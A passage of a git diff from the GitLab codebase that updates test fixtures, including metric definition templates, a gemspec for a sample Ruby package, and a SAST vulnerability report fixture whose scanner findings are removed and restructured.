+time_frame: 7d
+data_source:
+distribution:
+- ce
+# Add here corresponding tiers
+# tier:
+# - free
+# - premium
+# - ultimate
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
new file mode 100644
index 00000000000..47fc1d7e376
--- /dev/null
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
@@ -0,0 +1,22 @@
+---
+# See Usage Ping metrics dictionary docs https://docs.gitlab.com/ee/development/usage_ping/metrics_dictionary.html
+key_path: counts_weekly.test_metric
+name: test metric name
+description:
+product_section:
+product_stage:
+product_group:
+product_category:
+value_type: number
+status: implemented
+milestone: "13.9"
+introduced_by_url:
+time_frame: 7d
+data_source:
+distribution:
+- ce
+# Add here corresponding tiers
+# tier:
+# - free
+# - premium
+# - ultimate
diff --git a/spec/fixtures/lib/gitlab/performance_bar/peek_data.json b/spec/fixtures/lib/gitlab/performance_bar/peek_data.json
index 8e207b69ecb..c60e787ddb1 100644
--- a/spec/fixtures/lib/gitlab/performance_bar/peek_data.json
+++ b/spec/fixtures/lib/gitlab/performance_bar/peek_data.json
@@ -13,6 +13,8 @@
"duration": 1.096,
"sql": "SELECT COUNT(*) FROM ((SELECT \"badges\".* FROM \"badges\" WHERE \"badges\".\"type\" = 'ProjectBadge' AND \"badges\".\"project_id\" = 8)\nUNION\n(SELECT \"badges\".* FROM \"badges\" WHERE \"badges\".\"type\" = 'GroupBadge' AND \"badges\".\"group_id\" IN (SELECT \"namespaces\".\"id\" FROM \"namespaces\" WHERE \"namespaces\".\"type\" = 'Group' AND \"namespaces\".\"id\" = 28))) badges",
"backtrace": [
+ "ee/lib/ee/peek/views/active_record.rb:11:in `generate_detail'",
+ "lib/peek/views/active_record.rb:42:in `block in setup_subscribers'",
"lib/gitlab/pagination/offset_pagination.rb:53:in `add_pagination_headers'",
"lib/gitlab/pagination/offset_pagination.rb:15:in `block in paginate'",
"lib/gitlab/pagination/offset_pagination.rb:14:in `tap'",
diff --git a/spec/fixtures/packages/rubygems/package-0.0.1.gem b/spec/fixtures/packages/rubygems/package-0.0.1.gem
index 2143ef408ac..658ef4ee25f 100644
--- a/spec/fixtures/packages/rubygems/package-0.0.1.gem
+++ b/spec/fixtures/packages/rubygems/package-0.0.1.gem
Binary files differ
diff --git a/spec/fixtures/packages/rubygems/package.gem b/spec/fixtures/packages/rubygems/package.gem
new file mode 100644
index 00000000000..658ef4ee25f
--- /dev/null
+++ b/spec/fixtures/packages/rubygems/package.gem
Binary files differ
diff --git a/spec/fixtures/packages/rubygems/package.gemspec b/spec/fixtures/packages/rubygems/package.gemspec
index bb87c47f5dc..ea03414cc6f 100644
--- a/spec/fixtures/packages/rubygems/package.gemspec
+++ b/spec/fixtures/packages/rubygems/package.gemspec
@@ -1,15 +1,42 @@
# frozen_string_literal: true
Gem::Specification.new do |s|
- s.name = %q{package}
- s.authors = ["Tanuki Steve"]
- s.version = "0.0.1"
- s.date = %q{2011-09-29}
- s.summary = %q{package is the best}
- s.files = [
- "lib/package.rb"
- ]
+ s.name = 'package'
+ s.authors = ['Tanuki Steve', 'Hal 9000']
+ s.author = 'Tanuki Steve'
+ s.version = '0.0.1'
+ s.date = '2011-09-29'
+ s.summary = 'package is the best'
+ s.files = ['lib/test_gem.rb']
+ s.require_paths = ['lib']
+
+ s.description = 'A test package for GitLab.'
+ s.email = 'tanuki@not_real.com'
+ s.homepage = 'https://gitlab.com/ruby-co/my-package'
+ s.license = 'MIT'
+
+ s.metadata = {
+ 'bug_tracker_uri' => 'https://gitlab.com/ruby-co/my-package/issues',
+ 'changelog_uri' => 'https://gitlab.com/ruby-co/my-package/CHANGELOG.md',
+ 'documentation_uri' => 'https://gitlab.com/ruby-co/my-package/docs',
+ 'mailing_list_uri' => 'https://gitlab.com/ruby-co/my-package/mailme',
+ 'source_code_uri' => 'https://gitlab.com/ruby-co/my-package'
+ }
+
+ s.bindir = 'bin'
+ s.executables = ['rake']
+ s.extensions = ['ext/foo.rb']
+ s.extra_rdoc_files = ['README.md', 'doc/userguide.md']
+ s.platform = Gem::Platform::RUBY
+ s.post_install_message = 'Installed, thank you!'
+ s.rdoc_options = ['--main', 'README.md']
s.required_ruby_version = '>= 2.7.0'
- s.rubygems_version = '>= 1.8.11'
- s.require_paths = ["lib"]
+ s.required_rubygems_version = '>= 1.8.11'
+ s.requirements = 'A high powered server or calculator'
+ s.rubygems_version = '1.8.09'
+
+ s.add_dependency 'dependency_1', '~> 1.2.3'
+ s.add_dependency 'dependency_2', '3.0.0'
+ s.add_dependency 'dependency_3', '>= 1.0.0'
+ s.add_dependency 'dependency_4'
end
diff --git a/spec/fixtures/security_reports/master/gl-sast-report.json b/spec/fixtures/security_reports/master/gl-sast-report.json
index ab610945508..9da9fdc3832 100644
--- a/spec/fixtures/security_reports/master/gl-sast-report.json
+++ b/spec/fixtures/security_reports/master/gl-sast-report.json
@@ -1,51 +1,8 @@
{
- "version": "1.2",
+ "version": "14.0.0",
"vulnerabilities": [
{
"category": "sast",
- "message": "Probable insecure usage of temp file/directory.",
- "cve": "python/hardcoded/hardcoded-tmp.py:52865813c884a507be1f152d654245af34aba8a391626d01f1ab6d3f52ec8779:B108",
- "severity": "Medium",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-tmp.py",
- "start_line": 1,
- "end_line": 1
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B108",
- "value": "B108",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b108_hardcoded_tmp_directory.html"
- }
- ],
- "priority": "Medium",
- "file": "python/hardcoded/hardcoded-tmp.py",
- "line": 1,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b108_hardcoded_tmp_directory.html",
- "tool": "bandit",
- "tracking": {
- "type": "source",
- "items": [
- {
- "file": "python/hardcoded/hardcoded-tmp.py",
- "start_line": 1,
- "end_line": 1,
- "fingerprints": [
- { "algorithm": "hash", "value": "HASHVALUE" },
- { "algorithm": "scope_offset", "value": "python/hardcoded/hardcoded-tmp.py:ClassA:method_b:2" }
- ]
- }
- ]
- }
- },
- {
- "category": "sast",
"name": "Predictable pseudorandom number generator",
"message": "Predictable pseudorandom number generator",
"cve": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:47:PREDICTABLE_RANDOM",
@@ -69,20 +26,15 @@
"value": "PREDICTABLE_RANDOM",
"url": "https://find-sec-bugs.github.io/bugs.htm#PREDICTABLE_RANDOM"
}
- ],
- "priority": "Medium",
- "file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
- "line": 47,
- "url": "https://find-sec-bugs.github.io/bugs.htm#PREDICTABLE_RANDOM",
- "tool": "find_sec_bugs"
+ ]
},
{
"category": "sast",
"name": "Predictable pseudorandom number generator",
"message": "Predictable pseudorandom number generator",
"cve": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:41:PREDICTABLE_RANDOM",
- "severity": "Medium",
- "confidence": "Medium",
+ "severity": "Low",
+ "confidence": "Low",
"scanner": {
"id": "find_sec_bugs",
"name": "Find Security Bugs"
@@ -101,153 +53,48 @@
"value": "PREDICTABLE_RANDOM",
"url": "https://find-sec-bugs.github.io/bugs.htm#PREDICTABLE_RANDOM"
}
- ],
- "priority": "Medium",
- "file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
- "line": 41,
- "url": "https://find-sec-bugs.github.io/bugs.htm#PREDICTABLE_RANDOM",
- "tool": "find_sec_bugs"
- },
- {
- "category": "sast",
- "message": "Use of insecure MD2, MD4, or MD5 hash function.",
- "cve": "python/imports/imports-aliases.py:cb203b465dffb0cb3a8e8bd8910b84b93b0a5995a938e4b903dbb0cd6ffa1254:B303",
- "severity": "Medium",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 11,
- "end_line": 11
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B303",
- "value": "B303"
- }
- ],
- "priority": "Medium",
- "file": "python/imports/imports-aliases.py",
- "line": 11,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Use of insecure MD2, MD4, or MD5 hash function.",
- "cve": "python/imports/imports-aliases.py:a7173c43ae66bd07466632d819d450e0071e02dbf782763640d1092981f9631b:B303",
- "severity": "Medium",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 12,
- "end_line": 12
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B303",
- "value": "B303"
- }
- ],
- "priority": "Medium",
- "file": "python/imports/imports-aliases.py",
- "line": 12,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Use of insecure MD2, MD4, or MD5 hash function.",
- "cve": "python/imports/imports-aliases.py:017017b77deb0b8369b6065947833eeea752a92ec8a700db590fece3e934cf0d:B303",
- "severity": "Medium",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 13,
- "end_line": 13
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B303",
- "value": "B303"
- }
- ],
- "priority": "Medium",
- "file": "python/imports/imports-aliases.py",
- "line": 13,
- "tool": "bandit"
+ ]
},
{
"category": "sast",
- "message": "Use of insecure MD2, MD4, or MD5 hash function.",
- "cve": "python/imports/imports-aliases.py:45fc8c53aea7b84f06bc4e590cc667678d6073c4c8a1d471177ca2146fb22db2:B303",
+ "name": "ECB mode is insecure",
+ "message": "ECB mode is insecure",
+ "description": "The cipher uses ECB mode, which provides poor confidentiality for encrypted data",
+ "cve": "ea0f905fc76f2739d5f10a1fd1e37a10:ECB_MODE:java-maven/src/main/java/com/gitlab/security_products/tests/App.java:29",
"severity": "Medium",
"confidence": "High",
"scanner": {
- "id": "bandit",
- "name": "Bandit"
+ "id": "find_sec_bugs",
+ "name": "Find Security Bugs"
},
"location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 14,
- "end_line": 14
+ "file": "java-maven/src/main/java/com/gitlab/security_products/tests/App.java",
+ "start_line": 29,
+ "end_line": 29,
+ "class": "com.gitlab.security_products.tests.App",
+ "method": "insecureCypher"
},
"identifiers": [
{
- "type": "bandit_test_id",
- "name": "Bandit Test ID B303",
- "value": "B303"
- }
- ],
- "priority": "Medium",
- "file": "python/imports/imports-aliases.py",
- "line": 14,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Pickle library appears to be in use, possible security issue.",
- "cve": "python/imports/imports-aliases.py:5f200d47291e7bbd8352db23019b85453ca048dd98ea0c291260fa7d009963a4:B301",
- "severity": "Medium",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 15,
- "end_line": 15
- },
- "identifiers": [
+ "type": "find_sec_bugs_type",
+ "name": "Find Security Bugs-ECB_MODE",
+ "value": "ECB_MODE",
+ "url": "https://find-sec-bugs.github.io/bugs.htm#ECB_MODE"
+ },
{
- "type": "bandit_test_id",
- "name": "Bandit Test ID B301",
- "value": "B301"
+ "type": "cwe",
+ "name": "CWE-327",
+ "value": "327",
+ "url": "https://cwe.mitre.org/data/definitions/327.html"
}
- ],
- "priority": "Medium",
- "file": "python/imports/imports-aliases.py",
- "line": 15,
- "tool": "bandit"
+ ]
},
{
"category": "sast",
- "name": "ECB mode is insecure",
- "message": "ECB mode is insecure",
- "cve": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:29:ECB_MODE",
+ "name": "Hard coded key",
+ "message": "Hard coded key",
+ "description": "Hard coded cryptographic key found",
+ "cve": "102ac67e0975ecec02a056008e0faad8:HARD_CODE_KEY:scala-sbt/src/main/scala/example/Main.scala:12",
"severity": "Medium",
"confidence": "High",
"scanner": {
@@ -255,25 +102,26 @@
"name": "Find Security Bugs"
},
"location": {
- "file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
- "start_line": 29,
- "end_line": 29,
- "class": "com.gitlab.security_products.tests.App",
- "method": "insecureCypher"
+ "file": "scala-sbt/src/main/scala/example/Main.scala",
+ "start_line": 12,
+ "end_line": 12,
+ "class": "example.Main$",
+ "method": "getBytes"
},
"identifiers": [
{
"type": "find_sec_bugs_type",
- "name": "Find Security Bugs-ECB_MODE",
- "value": "ECB_MODE",
- "url": "https://find-sec-bugs.github.io/bugs.htm#ECB_MODE"
+ "name": "Find Security Bugs-HARD_CODE_KEY",
+ "value": "HARD_CODE_KEY",
+ "url": "https://find-sec-bugs.github.io/bugs.htm#HARD_CODE_KEY"
+ },
+ {
+ "type": "cwe",
+ "name": "CWE-321",
+ "value": "321",
+ "url": "https://cwe.mitre.org/data/definitions/321.html"
}
- ],
- "priority": "Medium",
- "file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
- "line": 29,
- "url": "https://find-sec-bugs.github.io/bugs.htm#ECB_MODE",
- "tool": "find_sec_bugs"
+ ]
},
{
"category": "sast",
@@ -301,693 +149,38 @@
"url": "https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY"
}
],
- "priority": "Medium",
- "file": "groovy/src/main/java/com/gitlab/security_products/tests/App.groovy",
- "line": 29,
- "url": "https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY",
- "tool": "find_sec_bugs"
- },
- {
- "category": "sast",
- "message": "Probable insecure usage of temp file/directory.",
- "cve": "python/hardcoded/hardcoded-tmp.py:63dd4d626855555b816985d82c4614a790462a0a3ada89dc58eb97f9c50f3077:B108",
- "severity": "Medium",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-tmp.py",
- "start_line": 14,
- "end_line": 14
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B108",
- "value": "B108",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b108_hardcoded_tmp_directory.html"
- }
- ],
- "priority": "Medium",
- "file": "python/hardcoded/hardcoded-tmp.py",
- "line": 14,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b108_hardcoded_tmp_directory.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Probable insecure usage of temp file/directory.",
- "cve": "python/hardcoded/hardcoded-tmp.py:4ad6d4c40a8c263fc265f3384724014e0a4f8dd6200af83e51ff120420038031:B108",
- "severity": "Medium",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-tmp.py",
- "start_line": 10,
- "end_line": 10
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B108",
- "value": "B108",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b108_hardcoded_tmp_directory.html"
- }
- ],
- "priority": "Medium",
- "file": "python/hardcoded/hardcoded-tmp.py",
- "line": 10,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b108_hardcoded_tmp_directory.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with Popen module.",
- "cve": "python/imports/imports-aliases.py:2c3e1fa1e54c3c6646e8bcfaee2518153c6799b77587ff8d9a7b0631f6d34785:B404",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 1,
- "end_line": 1
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B404",
- "value": "B404"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-aliases.py",
- "line": 1,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with pickle module.",
- "cve": "python/imports/imports.py:af58d07f6ad519ef5287fcae65bf1a6999448a1a3a8bc1ac2a11daa80d0b96bf:B403",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports.py",
- "start_line": 2,
- "end_line": 2
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B403",
- "value": "B403"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports.py",
- "line": 2,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with subprocess module.",
- "cve": "python/imports/imports.py:8de9bc98029d212db530785a5f6780cfa663548746ff228ab8fa96c5bb82f089:B404",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports.py",
- "start_line": 4,
- "end_line": 4
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B404",
- "value": "B404"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports.py",
- "line": 4,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Possible hardcoded password: 'blerg'",
- "cve": "python/hardcoded/hardcoded-passwords.py:97c30f1d76d2a88913e3ce9ae74087874d740f87de8af697a9c455f01119f633:B106",
- "severity": "Low",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-passwords.py",
- "start_line": 22,
- "end_line": 22
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B106",
- "value": "B106",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b106_hardcoded_password_funcarg.html"
- }
- ],
- "priority": "Low",
- "file": "python/hardcoded/hardcoded-passwords.py",
- "line": 22,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b106_hardcoded_password_funcarg.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Possible hardcoded password: 'root'",
- "cve": "python/hardcoded/hardcoded-passwords.py:7431c73a0bc16d94ece2a2e75ef38f302574d42c37ac0c3c38ad0b3bf8a59f10:B105",
- "severity": "Low",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-passwords.py",
- "start_line": 5,
- "end_line": 5
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B105",
- "value": "B105",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html"
- }
- ],
- "priority": "Low",
- "file": "python/hardcoded/hardcoded-passwords.py",
- "line": 5,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Possible hardcoded password: ''",
- "cve": "python/hardcoded/hardcoded-passwords.py:d2d1857c27caedd49c57bfbcdc23afcc92bd66a22701fcdc632869aab4ca73ee:B105",
- "severity": "Low",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-passwords.py",
- "start_line": 9,
- "end_line": 9
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B105",
- "value": "B105",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html"
- }
- ],
- "priority": "Low",
- "file": "python/hardcoded/hardcoded-passwords.py",
- "line": 9,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Possible hardcoded password: 'ajklawejrkl42348swfgkg'",
- "cve": "python/hardcoded/hardcoded-passwords.py:fb3866215a61393a5c9c32a3b60e2058171a23219c353f722cbd3567acab21d2:B105",
- "severity": "Low",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-passwords.py",
- "start_line": 13,
- "end_line": 13
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B105",
- "value": "B105",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html"
- }
- ],
- "priority": "Low",
- "file": "python/hardcoded/hardcoded-passwords.py",
- "line": 13,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Possible hardcoded password: 'blerg'",
- "cve": "python/hardcoded/hardcoded-passwords.py:63c62a8b7e1e5224439bd26b28030585ac48741e28ca64561a6071080c560a5f:B105",
- "severity": "Low",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-passwords.py",
- "start_line": 23,
- "end_line": 23
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B105",
- "value": "B105",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html"
- }
- ],
- "priority": "Low",
- "file": "python/hardcoded/hardcoded-passwords.py",
- "line": 23,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Possible hardcoded password: 'blerg'",
- "cve": "python/hardcoded/hardcoded-passwords.py:4311b06d08df8fa58229b341c531da8e1a31ec4520597bdff920cd5c098d86f9:B105",
- "severity": "Low",
- "confidence": "Medium",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/hardcoded/hardcoded-passwords.py",
- "start_line": 24,
- "end_line": 24
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B105",
- "value": "B105",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html"
- }
- ],
- "priority": "Low",
- "file": "python/hardcoded/hardcoded-passwords.py",
- "line": 24,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b105_hardcoded_password_string.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with subprocess module.",
- "cve": "python/imports/imports-function.py:5858400c2f39047787702de44d03361ef8d954c9d14bd54ee1c2bef9e6a7df93:B404",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-function.py",
- "start_line": 4,
- "end_line": 4
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B404",
- "value": "B404"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-function.py",
- "line": 4,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with pickle module.",
- "cve": "python/imports/imports-function.py:dbda3cf4190279d30e0aad7dd137eca11272b0b225e8af4e8bf39682da67d956:B403",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-function.py",
- "start_line": 2,
- "end_line": 2
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B403",
- "value": "B403"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-function.py",
- "line": 2,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with Popen module.",
- "cve": "python/imports/imports-from.py:eb8a0db9cd1a8c1ab39a77e6025021b1261cc2a0b026b2f4a11fca4e0636d8dd:B404",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-from.py",
- "start_line": 7,
- "end_line": 7
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B404",
- "value": "B404"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-from.py",
- "line": 7,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "subprocess call with shell=True seems safe, but may be changed in the future, consider rewriting without shell",
- "cve": "python/imports/imports-aliases.py:f99f9721e27537fbcb6699a4cf39c6740d6234d2c6f06cfc2d9ea977313c483d:B602",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 9,
- "end_line": 9
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B602",
- "value": "B602",
- "url": "https://docs.openstack.org/bandit/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-aliases.py",
- "line": 9,
- "url": "https://docs.openstack.org/bandit/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html",
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with subprocess module.",
- "cve": "python/imports/imports-from.py:332a12ab1146698f614a905ce6a6a5401497a12281aef200e80522711c69dcf4:B404",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-from.py",
- "start_line": 6,
- "end_line": 6
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B404",
- "value": "B404"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-from.py",
- "line": 6,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with Popen module.",
- "cve": "python/imports/imports-from.py:0a48de4a3d5348853a03666cb574697e3982998355e7a095a798bd02a5947276:B404",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-from.py",
- "start_line": 1,
- "end_line": 2
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B404",
- "value": "B404"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-from.py",
- "line": 1,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with pickle module.",
- "cve": "python/imports/imports-aliases.py:51b71661dff994bde3529639a727a678c8f5c4c96f00d300913f6d5be1bbdf26:B403",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 7,
- "end_line": 8
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B403",
- "value": "B403"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-aliases.py",
- "line": 7,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Consider possible security implications associated with loads module.",
- "cve": "python/imports/imports-aliases.py:6ff02aeb3149c01ab68484d794a94f58d5d3e3bb0d58557ef4153644ea68ea54:B403",
- "severity": "Low",
- "confidence": "High",
- "scanner": {
- "id": "bandit",
- "name": "Bandit"
- },
- "location": {
- "file": "python/imports/imports-aliases.py",
- "start_line": 6,
- "end_line": 6
- },
- "identifiers": [
- {
- "type": "bandit_test_id",
- "name": "Bandit Test ID B403",
- "value": "B403"
- }
- ],
- "priority": "Low",
- "file": "python/imports/imports-aliases.py",
- "line": 6,
- "tool": "bandit"
- },
- {
- "category": "sast",
- "message": "Statically-sized arrays can be improperly restricted, leading to potential overflows or other issues (CWE-119!/CWE-120)",
- "cve": "c/subdir/utils.c:b466873101951fe96e1332f6728eb7010acbbd5dfc3b65d7d53571d091a06d9e:CWE-119!/CWE-120",
- "confidence": "Low",
- "solution": "Perform bounds checking, use functions that limit length, or ensure that the size is larger than the maximum possible length",
- "scanner": {
- "id": "flawfinder",
- "name": "Flawfinder"
- },
- "location": {
- "file": "c/subdir/utils.c",
- "start_line": 4
- },
- "identifiers": [
- {
- "type": "flawfinder_func_name",
- "name": "Flawfinder - char",
- "value": "char"
- },
- {
- "type": "cwe",
- "name": "CWE-119",
- "value": "119",
- "url": "https://cwe.mitre.org/data/definitions/119.html"
- },
- {
- "type": "cwe",
- "name": "CWE-120",
- "value": "120",
- "url": "https://cwe.mitre.org/data/definitions/120.html"
- }
- ],
- "file": "c/subdir/utils.c",
- "line": 4,
- "url": "https://cwe.mitre.org/data/definitions/119.html",
- "tool": "flawfinder"
- },
- {
- "category": "sast",
- "message": "Check when opening files - can an attacker redirect it (via symlinks), force the opening of special file type (e.g., device files), move things around to create a race condition, control its ancestors, or change its contents? (CWE-362)",
- "cve": "c/subdir/utils.c:bab681140fcc8fc3085b6bba74081b44ea145c1c98b5e70cf19ace2417d30770:CWE-362",
- "confidence": "Low",
- "scanner": {
- "id": "flawfinder",
- "name": "Flawfinder"
- },
- "location": {
- "file": "c/subdir/utils.c",
- "start_line": 8
- },
- "identifiers": [
- {
- "type": "flawfinder_func_name",
- "name": "Flawfinder - fopen",
- "value": "fopen"
- },
- {
- "type": "cwe",
- "name": "CWE-362",
- "value": "362",
- "url": "https://cwe.mitre.org/data/definitions/362.html"
- }
- ],
- "file": "c/subdir/utils.c",
- "line": 8,
- "url": "https://cwe.mitre.org/data/definitions/362.html",
- "tool": "flawfinder"
- },
- {
- "category": "sast",
- "message": "Statically-sized arrays can be improperly restricted, leading to potential overflows or other issues (CWE-119!/CWE-120)",
- "cve": "cplusplus/src/hello.cpp:c8c6dd0afdae6814194cf0930b719f757ab7b379cf8f261e7f4f9f2f323a818a:CWE-119!/CWE-120",
- "confidence": "Low",
- "solution": "Perform bounds checking, use functions that limit length, or ensure that the size is larger than the maximum possible length",
- "scanner": {
- "id": "flawfinder",
- "name": "Flawfinder"
- },
- "location": {
- "file": "cplusplus/src/hello.cpp",
